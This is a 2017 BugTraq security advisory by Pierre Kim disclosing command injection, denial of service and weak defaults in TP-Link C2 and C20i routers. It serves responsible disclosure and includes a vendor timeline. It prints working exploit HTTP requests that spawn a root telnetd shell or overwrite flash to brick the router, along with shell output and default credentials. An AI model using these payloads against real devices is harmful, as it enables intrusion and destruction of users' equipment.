BugTraq
TP-Link C2 and C20i vulnerable to command injection (authenticated root RCE), DoS, improper firewall rules Feb 08 2017 10:37PM
Pierre Kim (pierre kim sec gmail com)
Hello,

Please find a text-only version below sent to security mailing lists.

The HTML version on "Vulnerabilities found in TP-Link C2 and C20i" is
posted here:
https://pierrekim.github.io/blog/2017-02-09-tplink-c2-and-c20i-vulnerabl
e.html

=== text-version of the advisory ===

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## Advisory Information

Title: TP-Link C2 and C20i vulnerable to command injection
(authenticated root RCE), DoS, improper firewall rules
Advisory URL: https://pierrekim.github.io/advisories/2017-tplink-0x00.txt
Blog URL: https://pierrekim.github.io/blog/2017-02-09-tplink-c2-and-c20i-vulnerabl
e.html
Date published: 2017-02-09
Vendors contacted: TP-Link
Release mode: Released
CVE: no current CVE

## Product Description

TP-Link is a Chinese manufacturer of computer networking products such
as routers and IOT devices.

## Vulnerabilities Summary

Command Injections exist in the HTTP management interface up to the
latest firmware version (0.9.1 4.2 v0032.0 Build 160706 Rel.37961n) of
TP-Link C2 and C20i, allowing an authenticated attacker to get a
remote shell with root privileges.
An attacker can DoS the httpd server and the firewall rules are too
permissive by default on the WAN interface.

## Details - RCE with a single HTTP request

Using the so-called "Diagnostic" page, the attacker can run any
command including telnetd, using the remote host field of the ping
utility:

$(echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25)

While being authenticated (see the credentials in base64 format),
sending this HTTP request directly will start a telnetd on the router
on port 25/tcp without authentication:

POST /cgi?2 HTTP/1.1
Host: 192.168.1.1
Content-Type: text/plain
Referer: http://192.168.1.1/mainFrame.htm
Content-Length: 208
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
Connection: close

[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
dataBlockSize=64
timeout=1
numberOfRepetitions=1
host=$(echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25)
X_TP_ConnName=ewan_ipoe_d
diagnosticsState=Requested

An attacker can also use backsticks to execute commands:
`echo 127.0.0.1; /usr/sbin/telnetd -l bin/sh -p 25`

Resulting access:

user@kali:~/tplink-0day-c2-and-c20i$ telnet 192.168.1.1 25
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
~ # ls
web usr sbin mnt lib dev
var sys proc linuxrc etc bin
~ # cat /proc/version
Linux version 2.6.36 (root (at) localhost (dot) loca [email concealed]ldomain) (gcc version 4.6.3
(Buildroot 2012.11.1) ) #1 Wed Jul 6 10:01:06 HKT 2016
~ # ls -la
drwxr-xr-x 9 176 web
drwxr-xr-x 13 0 var
drwxr-xr-x 4 38 usr
drwxr-xr-x 11 0 sys
drwxr-xr-x 2 193 sbin
dr-xr-xr-x 83 0 proc
drwxr-xr-x 2 3 mnt
lrwxrwxrwx 1 11 linuxrc -> bin/busybox
drwxr-xr-x 3 786 lib
drwxr-xr-x 5 776 etc
drwxr-xr-x 5 1274 dev
drwxr-xr-x 2 280 bin
drwxr-xr-x 13 177 ..
drwxr-xr-x 13 177 .
~ # cd etc
/etc # ls
vsftpd_passwd init.d SingleSKU_5G_RU.dat
vsftpd.conf group SingleSKU_5G_NZ.dat
ushare.conf fstab SingleSKU_5G_MY.dat
services default_config.xml SingleSKU_5G_KR.dat
samba TZ SingleSKU_5G_FCC.dat
resolv.conf SingleSKU_RU.dat SingleSKU_5G_CE.dat
reduced_data_model.xml SingleSKU_NZ.dat SingleSKU_5G_CA.dat
ppp SingleSKU_MY.dat RT2860AP5G.dat
passwd.bak SingleSKU_KR.dat RT2860AP.dat
passwd SingleSKU_FCC.dat MT7620_AP_2T2R-4L_V15.BIN
iptables-stop SingleSKU_CE.dat MT7610E-V10-FEM-1ANT.bin
inittab SingleSKU_5G_VN.dat
/etc # cd ..
~ # ls -la
drwxr-xr-x 9 176 web
drwxr-xr-x 13 0 var
drwxr-xr-x 4 38 usr
drwxr-xr-x 11 0 sys
drwxr-xr-x 2 193 sbin
dr-xr-xr-x 83 0 proc
drwxr-xr-x 2 3 mnt
lrwxrwxrwx 1 11 linuxrc -> bin/busybox
drwxr-xr-x 3 786 lib
drwxr-xr-x 5 776 etc
drwxr-xr-x 5 1274 dev
drwxr-xr-x 2 280 bin
drwxr-xr-x 13 177 ..
drwxr-xr-x 13 177 .
~ # ps
PID USER VSZ STAT COMMAND
1 admin 1060 S init
2 admin 0 SW [kthreadd]
3 admin 0 SW [ksoftirqd/0]
4 admin 0 SW [kworker/0:0]
5 admin 0 SW [kworker/u:0]
6 admin 0 SW< [khelper]
7 admin 0 SW [kworker/u:1]
44 admin 0 SW [sync_supers]
46 admin 0 SW [bdi-default]
48 admin 0 SW< [kblockd]
80 admin 0 SW [kswapd0]
82 admin 0 SW< [crypto]
130 admin 0 SW [mtdblock0]
135 admin 0 SW [mtdblock1]
140 admin 0 SW [mtdblock2]
145 admin 0 SW [mtdblock3]
150 admin 0 SW [mtdblock4]
155 admin 0 SW [mtdblock5]
160 admin 0 SW [mtdblock6]
172 admin 0 SW [kworker/0:1]
214 admin 0 SW [khubd]
245 admin 1060 S telnetd
251 admin 2932 S cos
252 admin 1060 S init
255 admin 2120 S igmpd
258 admin 2144 S mldProxy
345 admin 2932 S cos
346 admin 2932 S cos
347 admin 2932 S cos
366 admin 2088 S ntpc
371 admin 2096 S dyndns /var/tmp/dconf/dyndns.conf
374 admin 2096 S noipdns /var/tmp/dconf/noipdns.conf
377 admin 2096 S cmxdns /var/tmp/dconf/cmxdns.conf
433 admin 0 SW [RtmpCmdQTask]
434 admin 0 SW [RtmpWscTask]
445 admin 1244 S wlNetlinkTool
449 admin 1080 S wscd -i ra0 -m 1 -w /var/tmp/wsc_upnp/
465 admin 1244 S wlNetlinkTool
466 admin 1244 S wlNetlinkTool
489 admin 0 SW [RtmpCmdQTask]
490 admin 0 SW [RtmpWscTask]
503 admin 1064 S wscd_5G -i rai0 -m 1 -w /var/tmp/wsc_upnp_5G/
506 admin 2668 S httpd
518 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
521 admin 2084 S dnsProxy
526 admin 1068 S dhcpd /var/tmp/dconf/udhcpd.conf
551 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
552 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
553 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
554 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
555 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
556 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
557 admin 1748 S upnpd -L br0 -W eth0.2 -en 0 -P eth0.2 -nat 0 -port
558 admin 2668 S tmpd
561 admin 2556 S tdpd
569 admin 988 S dhcpc
578 admin 1036 S zebra -d -f /var/tmp/dconf/zebra.conf
594 admin 2088 S diagTool
625 admin 1136 S dropbear -p 22 -r /var/tmp/dropbear/dropbear_rsa_hos
642 admin 2468 S ushare
658 admin 2468 S ushare
660 admin 2468 S ushare
661 admin 2468 S ushare
662 admin 2468 S ushare
663 admin 2468 S ushare
664 admin 2468 S ushare
666 admin 2468 S ushare
851 admin 1060 S /usr/sbin/telnetd -l /bin/sh -p 25
853 admin 1072 S /bin/sh
876 admin 1068 S /bin/sh
878 admin 2576 S cli
887 admin 1060 R ps
~ #

With this RCE, an attacker will be able to dump and modify the
configuration by editing /dev/mtd3.
The configuration is written in XML format and is located in the
beginning (starting at offset 0x10) of this MTD (64K).

If the attacker sends this string, the router will be unable to boot
and will be bricked, by writing random characters on top of the u-boot
partition:

POST /cgi?2 HTTP/1.1
Host: 192.168.1.1
Content-Type: text/plain
Referer: http://192.168.1.1/mainFrame.htm
Content-Length: 208
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
Connection: close

[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6
dataBlockSize=64
timeout=1
numberOfRepetitions=1
host=$(echo 127.0.0.1; cat /dev/random > /dev/mtd0)
X_TP_ConnName=ewan_ipoe_d
diagnosticsState=Requested

## Details - DoSing the HTTP server

While being authenticated (see the credentials in base64 format),
sending this HTTP request directly will crash the remote HTTP server:

GET /cgi/ansi HTTP/1.1
Host: 192.168.1.1
Content-Type: text/plain
Referer: http://192.168.1.1/mainFrame.htm
Content-Length: 208
Cookie: Authorization=Basic YWRtaW46YWRtaW4=
Connection: close

A resulting core file will be written in the router inside the /var
partition of the attacked router:

/var # ls -la /var/
drwxrwxrwx 2 0 lock
drwxrwxrwx 2 0 log
drwxrwxrwx 2 0 run
drwxrwxrwx 7 0 tmp
drwxr-xr-x 3 0 Wireless
drwxrwxrwx 2 0 usbdisk
drwxrwxrwx 2 0 dev
drwxr-xr-x 5 0 samba
- -rw-r--r-- 1 132 passwd
drwxrwxrwx 2 0 3G
drwxrwxrwx 2 0 l2tp
drwxrwxrwx 7 0 vsftp
- -rw------- 1 348160 core-httpd-506-11-1482798208
drwxr-xr-x 13 177 ..
drwxr-xr-x 13 0 .
/var #

## Details - Permissive Iptables rules

The default iptables rules are generated within /lib/libcmm.so by
writing commands inside /var/tmp/dconf/rc.router and using system() on
this file.

/var/tmp/dconf/rc.router:

#!/bin/sh
[...]
iptables -t nat -A POSTROUTING -j NATLOOPBACK_UPNP_SECCONN
iptables -t nat -A POSTROUTING -j POSTROUTING_NATLOOPBACK_DMZ
iptables -t nat -A PREROUTING -j PREROUTING_DMZ
iptables -t filter -A FORWARD -i br+ -j ACCEPT
iptables -t filter -A FORWARD -d 224.0.0.0/4 -j ACCEPT
[...]

By default, the SNMP port is open on every interface:

iptables -A INPUT -p udp --dport 161 -j ACCEPT

This can be verified with iptables on the router:

/proc # iptables -nL
Chain INPUT (policy DROP)
[...]
ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:161
[...]

You can check too by reading the file /var/tmp/dconf/rc.router.

Luckily, even if SNMP configuration can be modified using the hidden
/main/snmp.html webpage,
it appears the snmpd has been removed from the firmware image.

## Details - Misc

The binaries (/usr/bin/cos, /usr/bin/tmpd, /lib/libcmm.so) are overall
badly designed programs, executing tons of system() and running as
root.

/usr/bin/cos is a daemon running as root and is launched at the end of
/etc/init.d/rcS (`cos &`): it starts all the daemons using system
(httpd ntpc dnsProxy dhcpd dhcpc snmpd upnpd diagTool voip_server
voip_client pjsua cwmp wlNetlinkTool pppd dyndns igmpd zebra ushare
smbd vsftpd telnetd, noipdns hostapd ipsecVpn radvd mldProxy racoon
wscd...)
/usr/bin/tmpd is a daemon running as root and listens to 127.0.0.1:20002.
/lib/libcmm.so is a library with all the main system functions (system
reinitialisation
[admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh], wifi
configuration, debugging with TFTP[hi dutserver!], VPN configuration,
`ifconfig interfaces`, `insmod /lib/modules/pptp.ko`, ...)

Vsftpd contains default weak passwords:

user@kali:~$ cat ./etc/vsftpd_passwd
admin:1234:1:1;guest:guest:0:0;test:test:1:1;$
user@kali:~$

Access:

admin:1234
guest:guest
test:test

## Vendor Response

T-P-Link plans to release a new firmware in February 2017, patching
all listed vulnerabilities. T-P-Link wants to draw attention that in
order to exploit two over three security vulnerabilities, an attacker
would need to have valid credentials.

## Report Timeline

* Sep 17, 2016: Vulnerabilities found by Pierre Kim.
* Dec 26, 2016: TP-Link support is contacted by livechat. TP-Link
replies there is no process to handle security problems in TP-Link
routers and refuses to indicate a security point of contact.
* Dec 27, 2016: TP-Link support is notified of the vulnerabilities
(using support () tp-link.com, security () tp-link.com, lishaozhang ()
tp-link.net [from /lib/modules/ipt_STAT.ko], huangwenzhong ()
tp-link.net [from /lib/modules/tp_domain.ko]).
* Dec 29, 2016: Pierre sends a full advisory to TP-Link security team.
* Dec 30, 2016: TP-Link confirms the reception of the advisory.
* Jan 03, 2017: Pierre asks TP-Link to confirm the vulnerabilities.
* Jan 09, 2017: TP-Link confirms the security vulnerabilities in
TP-Link C2 and C20i routers and security patches are in progress.
* Jan 21, 2017: Ping from TP-Link about the "Vendor Response" section.
* Jan 23, 2017: Pierre answers, asking details in the "Vendor Response" section.
* Jan 24, 2017: TP-Link Korea contacts Pierre Kim about the vulnerabilities.
* Jan 27, 2017: Pierre sends a final draft to TP-Link.
* Feb 09, 2017: A public advisory is sent to security mailing lists.

## Credit

The vulnerabilities were found by Pierre Kim (@PierreKimSec).

## References

https://pierrekim.github.io/advisories/2017-tplink-0x00.txt
https://pierrekim.github.io/blog/2017-02-09-tplink-c2-and-c20i-vulnerabl
e.html

## Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/

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--
Pierre Kim
pierre.kim.sec (at) gmail (dot) com [email concealed]
@PierreKimSec
https://pierrekim.github.io/

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